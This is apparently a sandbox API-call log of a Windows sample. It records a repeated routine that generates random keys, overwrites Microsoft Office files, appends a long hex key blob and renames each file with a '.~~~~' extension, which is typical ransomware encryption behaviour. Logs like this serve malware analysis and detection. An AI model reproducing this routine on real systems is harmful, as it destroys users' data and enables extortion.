	[0133.870] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1148) returned 1
	[0133.900] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.900] CryptReleaseContext (hProv=0x3a1148, dwFlags=0x0) returned 1
	[0133.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.960] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25398325179) returned 1
	[0133.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb94e6250, dwHighDateTime=0x1d60e1e)) 
	[0134.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824b08
	[0134.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824b08 | out: hHeap=0x300000) returned 1
	[0134.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0134.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.103] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.103] GetLastError () returned 0x0
	[0134.103] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.103] GetLastError () returned 0x0
	[0134.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.108] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0134.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.111] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.111] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.111] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.111] CloseHandle (hObject=0x114) returned 1
	[0134.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0134.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.~~~~")) returned 1
	[0134.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.156] GetLastError () returned 0x0
	[0134.157] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a10c0) returned 1
	[0134.158] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.158] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.158] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25414860428) returned 1
	[0134.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9689170, dwHighDateTime=0x1d60e1e)) 
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824be8
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824be8 | out: hHeap=0x300000) returned 1
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ef0
	[0134.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ef0 | out: hHeap=0x300000) returned 1
	[0134.159] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.159] GetLastError () returned 0x0
	[0134.160] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.160] GetLastError () returned 0x0
	[0134.161] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.161] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xd4, lpOverlapped=0x0) returned 1
	[0134.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.164] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.164] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.164] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.164] CloseHandle (hObject=0x114) returned 1
	[0134.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399ef0
	[0134.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.~~~~")) returned 1
	[0134.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ef0 | out: hHeap=0x300000) returned 1
	[0134.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.166] GetLastError () returned 0x0
	[0134.167] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a10c0) returned 1
	[0134.169] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.169] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.169] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25415956015) returned 1
	[0134.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb96af2d0, dwHighDateTime=0x1d60e1e)) 
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824c20
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824c20 | out: hHeap=0x300000) returned 1
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a0e8
	[0134.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a0e8 | out: hHeap=0x300000) returned 1
	[0134.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.170] GetLastError () returned 0x0
	[0134.171] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.171] GetLastError () returned 0x0
	[0134.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.172] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0134.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.174] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.175] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.175] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.175] CloseHandle (hObject=0x114) returned 1
	[0134.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a0e8
	[0134.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.~~~~")) returned 1
	[0134.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a0e8 | out: hHeap=0x300000) returned 1
	[0134.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.177] GetLastError () returned 0x0
	[0134.177] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a10c0) returned 1
	[0134.179] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.179] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.179] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25416932363) returned 1
	[0134.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb96af2d0, dwHighDateTime=0x1d60e1e)) 
	[0134.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824c58
	[0134.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824c58 | out: hHeap=0x300000) returned 1
	[0134.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a040
	[0134.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a040 | out: hHeap=0x300000) returned 1
	[0134.180] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.180] GetLastError () returned 0x0
	[0134.180] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.180] GetLastError () returned 0x0
	[0134.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.182] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0134.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.185] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.185] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.185] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.185] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.185] CloseHandle (hObject=0x114) returned 1
	[0134.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a040
	[0134.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.~~~~")) returned 1
	[0134.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a040 | out: hHeap=0x300000) returned 1
	[0134.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.187] GetLastError () returned 0x0
	[0134.188] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a10c0) returned 1
	[0134.189] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.190] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0134.190] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25417999004) returned 1
	[0134.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb96d5430, dwHighDateTime=0x1d60e1e)) 
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824c90
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824c90 | out: hHeap=0x300000) returned 1
	[0134.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.191] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.191] GetLastError () returned 0x0
	[0134.191] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.191] GetLastError () returned 0x0
	[0134.195] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.195] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.201] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.203] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.203] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.203] CloseHandle (hObject=0x114) returned 1
	[0134.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c49f8
	[0134.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.~~~~")) returned 1
	[0134.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c49f8 | out: hHeap=0x300000) returned 1
	[0134.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0134.205] GetLastError () returned 0x0
